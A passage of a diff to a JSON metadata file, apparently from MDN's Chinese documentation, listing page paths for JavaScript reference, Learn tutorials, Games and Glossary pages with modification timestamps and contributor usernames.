"modified": "2020-10-15T21:44:45.823Z", + "learn/HTML/Introduction_to_HTML/Marking_up_a_letter": { + "modified": "2020-07-16T22:23:14.761Z", "contributors": [ - "zhuangyin", - "FredYing", - "dblate", - "Iwouldliketobeapig", - "kdex", - "xgqfrms-GitHub", - "Jiang-Xuan", - "comehope", - "tjyas", - "ziyunfei" + "Roy-Tian", + "ToJunYu", + "ZhiiChong", + "chrisdavidmills", + "SirnoChan", + "FantasqueX", + "imba-tjd", + "ChairMao", + "kongkong1", + "HolaForce", + "Lohoyo", + "phiwyc", + "lihaoyuan", + "zhaoqize", + "gitpyc", + "Boot95" ] }, - "Web/JavaScript/Reference/Global_Objects/String/prototype": { - "modified": "2020-10-15T21:27:29.084Z", + "learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content": { + "modified": "2020-07-16T22:24:21.297Z", "contributors": [ - "gqbre", - "pabloyshi", - "zhazhjie", - "zqyue", - "Ende93", - "midare", - "Yuxuan_Jiang", - "micheal-death", - "xgqfrms-GitHub", - "Hugh", - "terrycafe520", - "qianjiahao", - "paddingme", - "teoli", - "ziyunfei" + "Roy-Tian", + "MorrisLi", + "HolaForce", + "codeofjackie", + "lihaoyuan", + "zhaoqize", + "littledust", + "ChenLyu01" ] }, - "Web/JavaScript/Reference/Global_Objects/String/raw": { - "modified": "2020-10-15T21:29:34.006Z", + "learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML": { + "modified": "2020-12-06T06:59:19.723Z", "contributors": [ - "SageX", - "Jamsdfn", - "HDUCC", - "OhIAmFine", - "RainSlide", - "RoXoM", - "SphinxKnight", - "joy-yu", - "ShupingLiu", - "teoli", - "ziyunfei" + "zrzjohn", + "wayne_lau", + "Roy-Tian", + "Sphish", + "PYGC", + "WoodCube", + "fangfangfanga", + "eagle1949", + "Metaloe", + "HolaForce", + "qinruiy", + "codeofjackie", + "CaTmmao", + "yevivid", + "Willian.G", + "Milktea", + "anan0v0", + "zhaoqize", + "fengkx", + "oldpotter", + "littledust", + "hjb912", + "tianhu288", + "Mac_zhang", + "BarryLiu1995", + "HashubWang", + "littermark", + "igigi", + "876843240", + "mhengrui", + "Daryl.L", + "chinazhaghai", + "sisyphus-zhou" ] }, - "Web/JavaScript/Reference/Global_Objects/String/repeat": { - "modified": "2020-10-15T21:23:38.769Z", + "learn/JavaScript": { + "modified": "2020-07-16T22:29:46.300Z", "contributors": [ - "laampui", + "oceanMIH", + "yummy_song", + "scyhm", + "YehaiChen", + "WavinFlag", "xgqfrms-GitHub", - "git123hub", - "Ende93", - "OmniP", - "teoli", - "tiansh", - "ziyunfei", - "zhangyaochun1987" + "noiron", + "houcheng", + "Maze", + "Metalooze" ] }, - "Web/JavaScript/Reference/Global_Objects/String/replace": { - "modified": "2020-11-27T21:45:38.567Z", + "learn/JavaScript/Building_blocks": { + "modified": "2020-07-16T22:31:11.083Z", "contributors": [ - "lastVigo", - "ZouYj", - "zhangming8691", - "RainSlide", - "SageX", - "zhengwengang", - "bigbird231", - "lwjcjmx123", - "glntlq", - "Ende93", - "qiubo1992", - "dingziqi", - "xgqfrms-GitHub", - "Leeoric", - "benymor", - "imwangpan", - "Zegendary", - "billcz", - "snowsolf", - "S-iscoming", - "lunix01", - "FredWe", - "MoltBoy", - "xinshangshangxin", - "paddingme", - "fannie-z", - "teoli", - "AlexChao", - "robert.yin", - "ziyunfei" + "Drizzt-Yu", + "NiceGG", + "JiLiangLai", + "xiaobin123", + "xp44mm", + "yzweb2018", + "sonymoon", + "nlln", + "ztytotoro", + "okotta1", + "backli", + "lvyue", + "ByWhy", + "Marslin92", + "chinatomhuang", + "GKilyar", + "iProgramme" ] }, - "Web/JavaScript/Reference/Global_Objects/String/replaceAll": { - "modified": "2020-10-15T22:30:27.485Z", + "learn/JavaScript/Building_blocks/Build_your_own_function": { + "modified": "2020-08-01T05:11:26.919Z", "contributors": [ - "Damoness", - "laampui", - "xgqfrms" + "driftingdream", + "Hermedius", + "WindLo", + "qiubite-name", + "codeofjackie", + "Undecyce", + "hygSup", + "gitpyc", + "Ray-Eldath", + "Hecdi", + "ppphp" ] }, - "Web/JavaScript/Reference/Global_Objects/String/search": { - "modified": "2020-10-15T21:29:01.821Z", + "learn/JavaScript/Building_blocks/Functions": { + "modified": "2020-08-27T11:13:47.934Z", "contributors": [ - "laampui", - "Fleeting198", - "RainSlide", - "xgqfrms-GitHub", - "rockedpanda", - "AlexChao", - "teoli" + "shawn20111416", + "driftingdream", + "jsl1079322620", + "Hermedius", + "jinsth", + "hyjalxl", + "agnoCJY", + "BusyToDie", + "LuoYun", + "codeofjackie", + "zhilu1", + "caifx", + "luoxzhg", + "NicholasCao", + "Pipapa", + "GKilyar", + "caojinguo", + "fyzzy1943", + "minmino" ] }, - "Web/JavaScript/Reference/Global_Objects/String/slice": { - "modified": "2020-10-15T21:04:29.173Z", + "learn/JavaScript/Building_blocks/Looping_code": { + "modified": "2020-07-16T22:31:22.467Z", "contributors": [ - "RainSlide", - "Jemory", - "MinimalistYing", - "zhangchen", - "xgqfrms-GitHub", - "towerzju", - "Meteormatt", - "helloguangxue", - "FredWe", - "teoli", - "AlexChao", - "ziyunfei" + "agnoCJY", + "Yayure", + "jianbinfu", + "LittleMang", + "LuoYun", + "lscnet", + "codeofjackie", + "WhiteYin", + "tuneura", + "DaduCC", + "Ray-Eldath", + "NicholasCao", + "Ende93", + "wanqing19954", + "Marslin92" ] }, - "Web/JavaScript/Reference/Global_Objects/String/small": { - "modified": "2019-03-23T22:22:44.927Z", + "learn/JavaScript/Building_blocks/Return_values": { + "modified": "2020-11-24T04:05:07.114Z", "contributors": [ - "wizardforcel", - "JokerPrince" + "Anser0111", + "jsl1079322620", + "Hermedius", + "FantasqueX", + "LuoYun", + "larrychen", + "Gloriazdh", + "codeofjackie", + "DaduCC", + "BadRonmance", + "yj21world", + "minmino" ] }, - "Web/JavaScript/Reference/Global_Objects/String/split": { - "modified": "2020-10-15T21:28:59.434Z", + "learn/JavaScript/Building_blocks/conditionals": { + "modified": "2020-07-16T22:31:16.388Z", "contributors": [ - "real-Row", - "SageX", - "WindLo", - "gentlecoder", - "42", - "hongxu.Wei", - "laampui", - "Jiang-Xuan", - "YISHI", - "JuFoFu", - "ZQH", - "xgqfrms-GitHub", - "Bitzo", - "uestcNaldo", - "zhuangyin", - "mooyxu", - "Hugh", - "auroraeffect", - "azhi09", - "helloguangxue", - "horizon0514", - "AlexChao" + "SirnoChan", + "qiubite-name", + "Undecyce", + "Ray-Eldath", + "DaduCC", + "NicholasCao", + "ideal.Li", + "lyllll000", + "finegao", + "INFINITSY", + "HashubWang" ] }, - "Web/JavaScript/Reference/Global_Objects/String/startsWith": { - "modified": "2020-10-15T21:21:10.667Z", + "learn/JavaScript/Howto": { + "modified": "2020-07-16T22:33:11.775Z", "contributors": [ - "zhangchen", - "YouMoeYi", - "RainSlide", - "SimonLeeee", - "SphinxKnight", - "Meteormatt", - "ziyunfei", - "teoli", - "zhangyaochun1987" + "wangwenhao", + "yuyx91" ] }, - "Web/JavaScript/Reference/Global_Objects/String/strike": { - "modified": "2019-03-23T22:19:16.420Z", + "learn/Learning_and_getting_help": { + "modified": "2020-12-06T05:06:52.891Z", "contributors": [ - "wizardforcel" + "3143875691" ] }, - "Web/JavaScript/Reference/Global_Objects/String/sub": { - "modified": "2019-03-23T22:19:14.417Z", + "learn/Performance": { + "modified": "2020-12-05T12:01:04.505Z", "contributors": [ - "xgqfrms-GitHub", - "wizardforcel" + "mayerpan", + "liguanzeng", + "Bayes", + "yangchongduo" ] }, - "Web/JavaScript/Reference/Global_Objects/String/substr": { - "modified": "2019-09-27T00:05:56.009Z", + "learn/Performance/Web_Performance_Basics": { + "modified": "2020-07-16T22:40:42.886Z", "contributors": [ - "wingtao", - "xybin1990", - "zhaoboxiang", - "xgqfrms-GitHub", - "helloguangxue", - "AlexChao" + "shuiRong", + "creative_fish" ] }, - "Web/JavaScript/Reference/Global_Objects/String/substring": { - "modified": "2020-06-10T02:59:54.363Z", + "learn/Server-side": { + "modified": "2020-07-16T22:36:03.668Z", "contributors": [ - "HCSkatana", - "SageX", - "libaixu", - "zhuangyin", - "hexianzhi", - "xgqfrms-GitHub", - "qujingyouyachu", - "helloguangxue", - "bailnl", - "AlexChao" + "ZuoRight", + "xixilog", + "JamesZhange", + "Munch_TZB", + "GHLgh" ] }, - "Web/JavaScript/Reference/Global_Objects/String/sup": { - "modified": "2019-03-23T22:19:11.494Z", + "learn/Server-side/Django": { + "modified": "2020-07-16T22:36:36.546Z", "contributors": [ - "xgqfrms-GitHub", - "wizardforcel" + "diyigechipangxie", + "xixilog", + "chinanf-boy", + "hstaoqian", + "Zhaoyu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase": { - "modified": "2019-10-14T05:00:05.180Z", + "learn/Server-side/Django/Authentication": { + "modified": "2020-07-16T22:37:25.161Z", "contributors": [ - "SageX", - "853419196", - "wizardforcel", - "xgqfrms-GitHub", - "fighting0710" + "floodwater", + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase": { - "modified": "2020-10-15T22:29:43.372Z", + "learn/Server-side/Django/Deployment": { + "modified": "2020-11-23T18:29:57.524Z", "contributors": [ - "konnga" + "keetack", + "edgar-chen", + "yan-jin", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toLowerCase": { - "modified": "2020-08-21T17:39:11.325Z", + "learn/Server-side/Django/Forms": { + "modified": "2020-07-16T22:37:34.229Z", "contributors": [ - "LCLx", - "SageX", - "xgqfrms-GitHub", - "helloguangxue", - "yenshen", - "teoli", - "AlexChao", - "ziyunfei" + "buttre", + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toSource": { - "modified": "2019-03-18T20:48:25.704Z", + "learn/Server-side/Django/Generic_views": { + "modified": "2020-07-16T22:37:19.625Z", "contributors": [ - "teoli", - "AlixWang" + "edgar-chen", + "xixilog", + "SphinxKnight" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toString": { - "modified": "2019-10-14T05:25:34.591Z", + "learn/Server-side/Django/Introduction": { + "modified": "2020-07-16T22:36:42.459Z", "contributors": [ - "SageX", - "AlexChao" + "khalim", + "Nel", + "ShuangFarmer", + "xiezhedaima9591", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toUpperCase": { - "modified": "2020-10-15T22:30:43.287Z", + "learn/Server-side/Django/Models": { + "modified": "2020-07-16T22:37:00.935Z", "contributors": [ - "LCLx", - "Originalee", - "ahbiao", - "Jabin_Lee" + "shawPLUSroot", + "senghongchong7", + "phdgogogo", + "colin3dmax", + "AIIEOIBD", + "zphj1987", + "cashlu", + "xixilog", + "szlh", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Global_Objects/String/valueOf": { - "modified": "2020-10-15T22:31:18.217Z", + "learn/Server-side/Django/Sessions": { + "modified": "2020-07-16T22:37:28.578Z", "contributors": [ - "zhangming8691", - "ahbiao" + "buttre", + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol": { - "modified": "2020-10-19T10:05:29.655Z", + "learn/Server-side/Django/Testing": { + "modified": "2020-07-16T22:37:39.373Z", "contributors": [ - "Alendia", - "polunzh", - "JohnhanLiu", - "Coink", - "haoXu-web", - "Revonia", - "zhangchen", - "huge", - "Bitzo", - "winjeysong", - "shaojingchao", - "xgqfrms-GitHub", - "lfkid", - "syhxczy", - "wdpm", - "helloguangxue", - "MapleGu", - "Ende93", - "X-Cracker", - "fscholz" + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive": { - "modified": "2020-10-15T21:51:10.533Z", + "learn/Server-side/Django/Tutorial_local_library_website": { + "modified": "2020-07-16T22:36:50.644Z", "contributors": [ - "zhangchen", - "Hushabyme" + "zengqi", + "ddtyjmyjm", + "hstaoqian" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/asyncIterator": { - "modified": "2020-10-15T22:20:07.992Z", + "learn/Server-side/Django/django_assessment_blog": { + "modified": "2020-07-16T22:37:49.691Z", "contributors": [ - "zhangchen", - "lzfcc" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/description": { - "modified": "2020-10-15T22:12:44.560Z", + "learn/Server-side/Django/skeleton_website": { + "modified": "2020-07-16T22:36:55.364Z", "contributors": [ - "Maiko" + "Nel", + "xixilog", + "ddtyjmyjm", + "MengLingqin", + "chinanf-boy", + "hstaoqian" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/for": { - "modified": "2019-04-22T09:08:37.458Z", + "learn/Server-side/Django/web_application_security": { + "modified": "2020-07-16T22:37:47.216Z", "contributors": [ - "Ende93", - "ziyunfei" + "knktc", + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance": { - "modified": "2020-10-15T21:49:33.542Z", + "learn/Server-side/Express_Nodejs": { + "modified": "2020-07-16T22:37:56.406Z", "contributors": [ - "vent", - "zhangchen", - "AlexChao", - "Hushabyme", - "zhouytforever", - "zhengwei" + "hellorayza", + "百里笙歌", + "Frederick-S", + "yatace", + "edgar-chen", + "Ran_Lyu", + "longzhengxiong", + "sp900409", + "chenlexing", + "ant0x00" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable": { - "modified": "2020-10-15T21:49:33.460Z", + "learn/Server-side/Express_Nodejs/Displaying_data": { + "modified": "2020-10-27T00:17:29.715Z", "contributors": [ - "Ende93", - "zhengwei" + "Megrax", + "socovo", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/iterator": { - "modified": "2020-10-15T21:36:42.166Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page": { + "modified": "2020-07-16T22:38:39.461Z", "contributors": [ - "zhangchen", - "Ende93", - "ziyunfei", - "Jacksunwei" + "woshiqiang1", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/keyFor": { - "modified": "2020-10-16T06:56:40.936Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page": { + "modified": "2020-07-16T22:38:38.246Z", "contributors": [ - "le-phq", - "zh244135370", - "SphinxKnight", - "purple_force", - "ziyunfei" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/match": { - "modified": "2020-10-15T21:49:57.252Z", + "learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge": { + "modified": "2020-07-16T22:38:39.803Z", "contributors": [ - "RainSlide", - "Ende93" + "staticfire", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/matchAll": { - "modified": "2020-10-15T22:18:46.613Z", + "learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page": { + "modified": "2020-07-16T22:38:37.044Z", "contributors": [ - "Nodiff" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/prototype": { - "modified": "2020-10-15T21:42:54.702Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page": { + "modified": "2020-07-16T22:38:39.148Z", "contributors": [ - "zhangchen", - "purple_force" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/replace": { - "modified": "2020-10-15T21:56:21.976Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page": { + "modified": "2020-07-16T22:38:36.367Z", "contributors": [ - "Ende93", - "cuji" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/search": { - "modified": "2020-11-17T03:44:46.302Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment": { + "modified": "2020-07-16T22:38:37.610Z", "contributors": [ - "KaiserZh", - "ufolux" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/species": { - "modified": "2020-10-15T21:51:11.135Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page": { + "modified": "2020-07-16T22:38:38.748Z", "contributors": [ - "Ende93", - "Hushabyme" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/split": { - "modified": "2020-08-29T01:24:33.903Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Home_page": { + "modified": "2020-07-16T22:38:35.735Z", "contributors": [ - "vent", - "Hushabyme", - "_da" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive": { - "modified": "2020-10-15T21:51:09.142Z", + "learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template": { + "modified": "2020-10-27T06:26:13.607Z", "contributors": [ - "baooab", - "Mactaivsh", - "Hushabyme" + "Megrax", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toSource": { - "modified": "2019-09-06T06:31:54.610Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Template_primer": { + "modified": "2020-07-16T22:38:34.671Z", "contributors": [ - "teoli", - "purple_force" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toString": { - "modified": "2019-03-23T23:13:48.406Z", + "learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async": { + "modified": "2020-07-16T22:38:33.746Z", "contributors": [ - "SphinxKnight", - "ziyunfei" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag": { - "modified": "2019-04-22T09:04:43.680Z", + "learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry": { + "modified": "2020-09-24T11:45:05.090Z", "contributors": [ - "ziyunfei", - "Hushabyme" + "Mdreame", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/unscopables": { - "modified": "2020-10-15T21:51:10.976Z", + "learn/Server-side/Express_Nodejs/Introduction": { + "modified": "2020-07-16T22:38:13.912Z", "contributors": [ - "Ende93", - "ywjco", - "Hushabyme" + "Roy-Tian", + "hehe1111", + "sun603", + "janyin", + "biblade", + "outman", + "congrongdeyu", + "codeofjackie", + "edgar-chen", + "bybiuhappy", + "ShirleyM", + "lofayo", + "chengzhibing" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/valueOf": { - "modified": "2019-03-23T23:13:43.496Z", + "learn/Server-side/Express_Nodejs/Tutorial_local_library_website": { + "modified": "2020-07-16T22:38:17.531Z", "contributors": [ - "SphinxKnight", - "ziyunfei" + "Roy-Tian", + "chudongsong", + "janyin", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/SyntaxError": { - "modified": "2019-08-07T05:20:14.990Z", + "learn/Server-side/Express_Nodejs/deployment": { + "modified": "2020-07-16T22:38:50.827Z", "contributors": [ - "Ende93", - "yenshen", - "Mingun" + "edgar-chen", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype": { - "modified": "2019-03-23T23:03:07.644Z", + "learn/Server-side/Express_Nodejs/development_environment": { + "modified": "2020-07-16T22:38:02.448Z", "contributors": [ - "Ende93", - "yenshen" + "snaildarter", + "phili-p", + "Roy-Tian", + "sun603", + "yijie_sun", + "yaoqtan", + "jianchao_xue", + "edgar-chen", + "BarryLiu1995" ] }, - "Web/JavaScript/Reference/Global_Objects/TypeError": { - "modified": "2020-10-15T21:34:35.462Z", + "learn/Server-side/Express_Nodejs/forms": { + "modified": "2020-08-07T05:55:45.402Z", "contributors": [ - "Tao-Quixote", - "Ende93", - "shajiquan" + "yunxiaomeng", + "grape", + "hdh296", + "socovo", + "edgar-chen", + "zhangyu911013" ] }, - "Web/JavaScript/Reference/Global_Objects/TypeError/prototype": { - "modified": "2020-10-15T21:39:50.956Z", + "learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form": { + "modified": "2020-07-16T22:38:46.101Z", "contributors": [ - "Tao-Quixote", - "coolfireWang", - "Ende93" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray": { - "modified": "2020-10-15T21:25:05.655Z", + "learn/Server-side/Express_Nodejs/forms/Create_author_form": { + "modified": "2020-07-16T22:38:44.657Z", "contributors": [ - "knightyun", - "9-lives", - "tangtangtangtangtang", - "taoyouh", - "Jiang-Xuan", - "Gintoki", - "xgqfrms-GitHub", - "chenyang", - "liyongleihf2006", - "Ende93", - "teoli", - "David_Li" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator": { - "modified": "2019-03-23T22:19:18.717Z", + "learn/Server-side/Express_Nodejs/forms/Create_book_form": { + "modified": "2020-07-16T22:38:45.191Z", "contributors": [ - "wizardforcel" + "SphinxKnight", + "UPUP", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/@@species": { - "modified": "2019-03-23T22:19:06.809Z", + "learn/Server-side/Express_Nodejs/forms/Create_genre_form": { + "modified": "2020-07-16T22:38:43.645Z", "contributors": [ - "wizardforcel" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT": { - "modified": "2019-03-23T22:52:00.851Z", + "learn/Server-side/Express_Nodejs/forms/Delete_author_form": { + "modified": "2020-07-16T22:38:46.761Z", "contributors": [ - "iFish" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/buffer": { - "modified": "2019-03-23T22:19:06.244Z", + "learn/Server-side/Express_Nodejs/forms/Update_Book_form": { + "modified": "2020-07-16T22:38:48.713Z", "contributors": [ - "wizardforcel" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength": { - "modified": "2019-03-23T22:19:10.941Z", + "learn/Server-side/Express_Nodejs/mongoose": { + "modified": "2020-08-12T09:45:03.710Z", "contributors": [ - "wizardforcel" + "Dazhuzhu-github", + "vpstarter", + "百里笙歌", + "socovo", + "Roy-Tian", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset": { - "modified": "2019-03-23T22:19:08.934Z", + "learn/Server-side/Express_Nodejs/routes": { + "modified": "2020-10-23T08:33:36.699Z", "contributors": [ - "wizardforcel" + "Hawaii_zzapi", + "百里笙歌", + "Roy-Tian", + "jianchao_xue", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/copyWithin": { - "modified": "2020-03-06T04:49:17.530Z", + "learn/Server-side/Express_Nodejs/skeleton_website": { + "modified": "2020-08-26T10:22:11.122Z", "contributors": [ - "knightyun", - "wizardforcel" + "Tiny-Wei", + "Roy-Tian", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/entries": { - "modified": "2019-03-23T22:19:07.170Z", + "learn/Server-side/First_steps": { + "modified": "2020-07-16T22:36:11.413Z", "contributors": [ - "wizardforcel" + "DaniellaAngel", + "edgar-chen", + "ArcherGrey", + "chf007", + "tinyCucumber", + "07akioni" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/every": { - "modified": "2019-03-23T22:19:10.485Z", + "learn/Server-side/First_steps/Client-Server_overview": { + "modified": "2020-07-16T22:36:22.601Z", "contributors": [ - "wizardforcel" + "DaniellaAngel", + "JuleHenriHu", + "WindLo", + "yijie_sun", + "ZhuZhuDrinkMilk", + "edgar-chen", + "ShuangFarmer", + "whocare", + "BarryLiu1995", + "yuantongkang", + "liminjun", + "zhuangyin", + "old2sun", + "ziyouwa", + "Zeng" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/fill": { - "modified": "2019-03-23T22:11:01.372Z", + "learn/Server-side/First_steps/Introduction": { + "modified": "2020-09-13T05:53:31.575Z", "contributors": [ - "benpigchu" + "dake0805", + "vicco", + "yijie_sun", + "zhangchen", + "Nothosaurs", + "lonelee", + "diaotai", + "old2sun", + "ziyouwa", + "Zeng" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/filter": { - "modified": "2019-03-23T22:19:16.643Z", + "learn/Server-side/First_steps/Web_frameworks": { + "modified": "2020-07-16T22:36:26.173Z", "contributors": [ - "wizardforcel" + "mojiangyuan", + "DaniellaAngel", + "hikigaya58", + "tongwenwu", + "zhuzhangliang", + "edgar-chen", + "JamesZhange", + "ddtyjmyjm", + "Phoenixkaze", + "Jhongwun", + "Stevenhwang", + "yinzhuoya", + "old2sun", + "Zeng" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/find": { - "modified": "2019-03-23T22:19:12.001Z", + "learn/Server-side/First_steps/Website_security": { + "modified": "2020-10-20T04:30:22.097Z", "contributors": [ - "wizardforcel" + "Megrax", + "mayhjx", + "yi2sun", + "ZhuZhuDrinkMilk", + "goat91", + "Zeng" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/findIndex": { - "modified": "2019-03-23T22:19:14.644Z", + "Web/API/Pointer_Lock_API": { + "modified": "2020-07-02T02:40:37.086Z", "contributors": [ - "wizardforcel" + "brizer", + "fscholz", + "princetoad@gmail.com" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/forEach": { - "modified": "2020-10-15T21:51:57.505Z", + "Web/HTTP/Headers/X-DNS-Prefetch-Control": { + "modified": "2020-10-15T21:21:12.955Z", "contributors": [ - "laampui", - "wizardforcel" + "RainSlide", + "lsvih", + "zhuangyin", + "yyhaxx", + "RequireSun", + "yowangbin", + "markyun", + "Ende93", + "hucz08" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/from": { - "modified": "2020-10-15T21:57:11.137Z", + "Web/CSS/float": { + "modified": "2020-11-29T04:21:18.185Z", "contributors": [ - "knightyun", - "nekronhuang", - "pasturn" + "Nyaasu", + "RainSlide", + "Murphy1024", + "Jack.Works", + "zhuangyin", + "tcatche", + "Ende93", + "xgqfrms-GitHub", + "Sarlaka", + "fscholz", + "Sebastianz", + "xiaodongzai", + "AlexChao", + "linmx0130", + "FredWe", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/includes": { - "modified": "2019-03-23T22:19:11.643Z", + "Glossary/DHTML": { + "modified": "2019-03-23T23:46:38.426Z", "contributors": [ - "wizardforcel" + "ziyunfei", + "Wind930" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf": { - "modified": "2019-03-23T22:20:08.080Z", + "orphaned/Example_2_-_Using_UL": { + "modified": "2019-03-18T20:44:28.267Z", "contributors": [ - "xgqfrms-GitHub", - "wizardforcel" + "RainSlide", + "blue0125" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/join": { - "modified": "2019-03-23T22:19:12.294Z", + "Games/Introduction_to_HTML5_Game_Development": { + "modified": "2019-01-17T01:15:39.320Z", "contributors": [ - "wizardforcel" + "wbamberg", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/keys": { - "modified": "2019-03-23T22:19:18.105Z", + "Games/Publishing_games/Game_monetization": { + "modified": "2019-07-23T05:31:53.344Z", "contributors": [ - "wizardforcel" + "c03311", + "wbamberg", + "tannineo", + "chenXiaoZhui" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/lastIndexOf": { - "modified": "2019-03-23T22:19:04.259Z", + "Games/Techniques/Control_mechanisms/Mobile_touch": { + "modified": "2019-03-18T21:13:06.265Z", "contributors": [ - "wizardforcel" + "fisho" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/length": { - "modified": "2019-03-23T22:19:16.206Z", + "orphaned/Games/Tools/Engines_and_tools": { + "modified": "2019-03-23T22:12:27.616Z", "contributors": [ - "wizardforcel" + "wbamberg", + "ChenXiCC" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/map": { - "modified": "2019-03-23T22:19:16.989Z", + "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up": { + "modified": "2020-03-04T06:46:31.914Z", "contributors": [ - "wizardforcel" + "zmx0142857" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/name": { - "modified": "2019-03-23T22:27:51.557Z", + "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls": { + "modified": "2020-03-04T06:03:22.539Z", "contributors": [ - "lsvih" + "zmx0142857" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/of": { - "modified": "2019-03-23T22:20:06.649Z", + "Games/Introduction": { + "modified": "2019-12-05T00:08:12.532Z", "contributors": [ - "xgqfrms-GitHub" + "catcatching", + "wbamberg", + "codeofjackie", + "zsxeee", + "varcat", + "WMin", + "hansonfang", + "13310", + "magiclyde", + "fierayan" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/prototype": { - "modified": "2019-03-23T22:21:58.417Z", + "orphaned/Glossary_of_translation": { + "modified": "2019-03-23T23:33:18.884Z", "contributors": [ - "wizardforcel", - "liyongleihf2006" + "Terry.Qiao", + "xcffl", + "iwo", + "yfdyh000" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/reduce": { - "modified": "2019-03-23T22:22:18.240Z", + "Glossary/HTTP_header": { + "modified": "2020-02-12T09:54:25.924Z", "contributors": [ - "wizardforcel", - "zurl" + "RainSlide", + "zhangchen", + "WayneCui" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/reduceRight": { - "modified": "2019-03-23T22:19:12.473Z", + "Glossary/IP_Address": { + "modified": "2020-05-30T02:17:49.722Z", "contributors": [ - "wizardforcel" + "kagurakana" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/reverse": { - "modified": "2019-03-23T22:19:12.148Z", + "Glossary/Main_Axis": { + "modified": "2020-05-10T10:26:14.352Z", "contributors": [ - "wizardforcel" + "Isildur46" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/set": { - "modified": "2020-10-11T08:53:21.212Z", + "Glossary/Cross_Axis": { + "modified": 